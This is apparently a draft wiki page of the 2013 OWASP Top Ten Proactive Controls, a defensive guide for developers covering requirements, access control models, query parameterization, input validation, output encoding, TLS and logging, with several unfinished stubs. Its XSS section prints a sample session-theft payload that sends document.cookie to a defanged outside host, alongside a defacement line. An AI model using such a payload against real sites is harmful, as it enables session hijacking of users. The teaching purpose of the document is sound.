OWASP Proactive Controls

= Project About =

= OWASP Top Ten Proactive Controls =



It is not easy to build a secure, low-risk or risk-managed web application. Firewalls, “policy” and other traditional information security measures serve as either an incomplete or useless measure in the pursuit of web application security.

As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game.

This document was written by developers for developers, to assist those new to secure development. It aims to guide developers and other software development professionals down the path of secure web application software development.

This document is neither scientific nor complete. In fact it is a bit misguided. There are more than 10 issues that developers need to be aware of. Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end. The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire Cheat Sheets series team whose content has been pulled from liberally for this document.

Introducing the OWASP Top Ten and one half Proactive Controls 2013.

1) Secure Requirements
Developers will endeavor to build what is specified in well-written requirements. However, it is extremely rare when developers are presented with prescriptive technical security requirements when building applications.

There are three basic categories of security requirements that can be defined early-on in a software development project. These include:

1) Functional requirements: A functional requirement is a visible feature within an application. A functional requirement is often defined by use-cases which includes input, behavior and output. Functional requirements can often be easily tested by Q/A staff. Security functional requirements may include re-authentication during change password, a forgot password workflow, or other visible, testable security features.

2) Non functional requirements: Non functional requirements include quality aspects to software that is often difficult to test by Q/A staff and may require deep technical expertise to evaluate. These include query parameterization, password storage and other features not always visible to users. Other things include availability, reliability, recoverability, stability, etc.  In general functional requirements define what an application is supposed to do and non-functional requirements define how an application is supposed to be.

3) Business logic requirements: Organizations always require functionality in web and other software that is specific to their way of operating or doing business. Business logic features are often multi-step multi-branch workflows that are difficult to evaluate throughly. These features may include a eCommerce workflow, shipping route choices, or banking transfer validation. Business logic requirements should also include requirements derived from "abuse-cases". These abuse cases would describe how the application's functions could be subverted by attackers.  The business logic requirements should include controls that mitigate or otherwise address these risks.

2) Secure Architecture and Design
Designing secure software is a strategic effort where business, technical and security stakeholders agree on both the functional and non-functional security properties of software well before it is built. This is not an easy endeavor.

One example of security design discussion in a web application is how to store state. Should you use the request and hidden parameters? Should you use a web session? Should you use the database? These decisions have dramatic security implications and are difficult to codify.

3) Leverage Security Features of Frameworks and Security Libraries
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.

When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:


 * Spring Security :
 * Apache Shiro : http://shiro.apache.org/
 * OWASP ESAPI : https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

4) Identity and Authentication
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.

Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.

Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.

For more information, please see the Authentication Cheat Sheet, the Password Storage Cheat Sheet, the Forgot Password Cheat Sheet and the Session Management Cheat Sheet.

5) Access Control
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.

Role Based Access Control (RBAC) In Role-Based Access Control (RBAC), access decisions are based on an individual's roles and responsibilities within the organization or user base. The process of defining roles is usually based on analyzing the fundamental goals and structure of an organization and is usually linked to the security policy. For instance, in a medical organization, the different roles of users may include those such as doctor, nurse, attendant, nurse, patients, etc.

An RBAC access control framework should provide web application security administrators with the ability to determine who can perform what actions, when, from where, in what order, and in some cases under what relational circumstances. http://csrc.nist.gov/rbac/ provides some great resources for RBAC implementation. The following aspects exhibit RBAC attributes to an access control model. Discretionary Access Control (DAC) Discretionary Access Control (DAC) is a means of restricting access to information based on the identity of users and/or membership in certain groups. Access decisions are typically based on the authorizations granted to a user based on the credentials he presented at the time of authentication (user name, password, hardware/software token, etc.). In most typical DAC models, the owner of information or any resource is able to change its permissions at his discretion (thus the name). DAC has the drawback of the administrators not being able to centrally manage these permissions on files/information stored on the web server. A DAC access control model often exhibits one or more of the following attributes.
 * Roles are assigned based on organizational structure with emphasis on the organizational security policy
 * Roles are assigned by the administrator based on relative relationships within the organization or user base. For instance, a manager would have certain authorized transactions over his employees. An administrator would have certain authorized transactions over his specific realm of duties (backup, account creation, etc.)
 * Each role is designated a profile that includes all authorized commands, transactions, and allowable information access.
 * Roles are granted permissions based on the principle of least privilege.
 * Roles are determined with a separation of duties in mind so that a developer Role should not overlap a QA tester Role.
 * Roles are activated statically and dynamically as appropriate to certain relational triggers (help desk queue, security alert, initiation of a new project, etc.)
 * Roles can be only be transferred or delegated using strict sign-offs and procedures.
 * Roles are managed centrally by a security administrator or project leader
 * Data Owners can transfer ownership of information to other users
 * Data Owners can determine the type of access given to other users (read, write, copy, etc.)
 * Repetitive authorization failures to access the same resource or object generates an alarm and/or restricts the user's access
 * Special add-on or plug-in software required to apply to an HTTP client to prevent indiscriminant copying by users ("cutting and pasting" of information)
 * Users who do not have access to information should not be able to determine its characteristics (file size, file name, directory path, etc.)
 * Access to information is determined based on authorizations to access control lists based on user identifier and group membership.

Mandatory Access Control (MAC) Mandatory Access Control (MAC) ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. MAC secures information by assigning sensitivity labels on information and comparing this to the level of sensitivity a user is operating at. In general, MAC access control mechanisms are more secure than DAC yet have trade offs in performance and convenience to users. MAC mechanisms assign a security level to all information, assign a security clearance to each user, and ensure that all users only have access to that data for which they have a clearance. MAC is usually appropriate for extremely secure systems including multilevel secure military applications or mission critical data applications. A MAC access control model often exhibits one or more of the following attributes.
 * Only administrators, not data owners, make changes to a resource's security label.
 * All data is assigned security level that reflects its relative sensitivity, confidentiality, and protection value.
 * All users can read from a lower classification than the one they are granted (A "secret" user can read an unclassified document).
 * All users can write to a higher classification (A "secret" user can post information to a Top Secret resource).
 * All users are given read/write access to objects only of the same classification (a "secret" user can only read/write to a secret document).
 * Access is authorized or restricted to objects based on the time of day depending on the labeling on the resource and the user's credentials (driven by policy).
 * Access is authorized or restricted to objects based on the security characteristics of the HTTP client (e.g. SSL bit length, version information, originating IP address or domain, etc.)

(we need to expand on this) Web layer access control IFrames and sandboxing to restrict access of third party JS code. x-frame-options. CSRF defense. (/we need to expand on this)

6) Query Parametrization
There have been many high visibility attacks against web applications that can be traced back to a SQL injection attack. SQL Injection is perhaps one of the most dangerous web application risk due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is quite devastating. Businesses, governments and social network sites have all fallen victim to this attack making it a fairly universal problem. Various statistical studies has shown that between 7 to 10% of all websites still contain SQL Injection. While many cite the problem of SQL injection as a vendor issue, process issues, or issue that is impossible to fix, ultimately it’s a developer programming issue that can be quite simple to fix in comparison to other security issues.

The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.

To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.

Here is an example of query parameterization in Java:

String newName = request.getParameter("newName"); String id = request.getParameter("id"); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);

Here is an example of query parameterization in PHP:

$email = $_REQUEST[‘email’]; $ id’= $_REQUEST[‘id’]; $stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”); $stmt->bindParam(':new_email', $email); $stmt->bindParam(':user_id', $id);

7) Validation
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like. There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like. Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.

When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.

Also, it's critical to treat all client side data as untrusted. (we need to expand on this)

Let’s start with the following regular expression for the username.

^[a-z0-9_]{3,16}$

This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.

Here is an example regular expression for the password field.

^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$

This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).

Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).

^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$

There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text. There are several available at OWASP that are simple to use:

Input validation is important layer within a secure web application. However, it’s not the only important layer. What would a regular expression look like for a comments field that allows users to provide feedback to a news article? Uppercase letters, lowercase letters, all punctuation marks and numbers would need to be allowed to allow users to provide complete sentences. Unfortunately, this field requires characters that could (1) cause harm but are (2) necessary for the functionality required in an open comments field.

Here we illustrate one of the unfortunate truisms about input validation: input validation does not always make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.

Developers cannot consider security in isolation. This is the essence of a well written secure application: being able to handle dangerous attack strings without harming either functionality or security.

8) Encoding
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.

Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in users browsers and can have a wide variety of effects.

For example:

XSS site defacement:

document.body.innerHTML(“Jim was here”);

XSS session theft:

var img = new Image; img.src=&quot;hxxp:// .com?” + document.cookie;

Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem. This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.

Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched. This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.

Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.

For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Encryption in Transit
A decision must be made to determine the appropriate method to protect data when it is being transmitted. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit.

SSL/TLS is under fire. There is a significant recent history of flaws within the SSL/TLS standards. These include SSL Stripping (2009), Insecure renegotiation (2009), BEAST (2011), CRIME (2013), Lucky 13 (2013), Weakness with the RC4 cipher (2013), Forward Secrecy (2013) and BREACH (2013).

Not only are there multiple weaknesses with the standards and ciphers used in SSL/TLS, but the Certificate Authority system is dubious at best.

For more information on proper SSL/TLS configuration, please see the Transport Layer Protection Cheat Sheet. For information on protecting your application incompetent or malicious certificate authorities, please see the Pinning Cheat Sheet

Encryption at Rest
For more information on low level decisions necessary when encrypting data at rest, please see the Cryptographic Storage Cheat Sheet.

(cleanup needed) It's also important to ensure sensitive data is not cached in the browser. cache-control settings? And returning 302 when submitting sensitive data to forms? Make use of perfect forward secrecy https://en.wikipedia.org/wiki/Perfect_forward_secrecy Use strict transport security: https://en.wikipedia.org/wiki/Strict_Transport_Security (/cleanup needed)

Protection in Process
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.

10) Logging, Error Handling and Intrusion Detection
Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.

Application logging should be always be included for security events. Application logs are invaluable data for:


 * Identifying security incidents
 * Monitoring policy violations
 * Establishing baselines
 * Providing information about problems and unusual conditions
 * Contributing additional application-specific data for incident investigation which is lacking in other log sources
 * Helping defend against vulnerability identification and exploitation through attack detection

Application logging might also be used to record other types of events too such as:


 * Security events
 * Business process monitoring e.g. sales process abandonment, transactions, connections
 * Audit trails e.g. data addition, modification and deletion, data exports
 * Performance monitoring e.g. data load time, page timeouts
 * Compliance monitoring
 * Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations
 * Legally sanctioned interception of data e.g application-layer wire-tapping
 * Other business-specific requirements

Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much.

For more information, please see the Logging Cheat Sheet.

TODO: Application layer intrusion detection. Discuss AppSensor. Ensure that detection events are made actionable.

TODO: Resource consumption monitoring; it's often neglected, but very important (for DoS, info leakage, etc).

= Project Roadmap =

Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source.

Status

 * We are currently seeking volunteers who will help developing stub/empty articles listed bellow and bring it up to a production level of quality. Join us now to take part in this historic effort, just drop a line to [mailto:jim@owasp.org Jim Manico] and [mailto:vanderaj@owasp.org Andrew van der Stock]!

Original list from Andrew

 * 1) Security Architecture (including incorporating agile ideas)
 * 2) Use a (more) secure development frameworks and leverage enterprise frameworks (UAG, etc)
 * 3) Input validation
 * 4) Output Encoding
 * 5) Identity: Authentication and Session Management
 * 6) Access Control (service / controller, data, URL, function / CSRF, presentation, etc)
 * 7) Data Protection (Data at rest, including in cloud)
 * 8) Audit, Logging and Error Handling
 * 9) Secure Configuration
 * 10) Secure Communications (Data in transit)

Suggested changes by Jim

 * 1) Identity: Authentication and Session Management (same as you)
 * 2) Access Control: (service / controller, data, URL, function / CSRF, presentation, etc) (same as you)
 * 3) Query Parametrization: (this is not encoding or validation, but is essentially a per-compiled query plan into tabular data)
 * 4) Input validation (same)
 * 5) Output Encoding (same)
 * 6) Data Protection: (Data at rest, including in cloud, data in transport)
 * 7) Leverage secure development frameworks and libraries (Shiro, ESAPI, etc)
 * 8) Secure Requirements
 * 9) Secure Design and Architecture
 * 10) Audit, Logging, Error handling and Intrusion Detection

= Who are we? =

Jim Manico jim@owasp.org Andrew Van Der Stock vanderaj@owasp.org Stephen de Vries stephen@continuumsecurity.net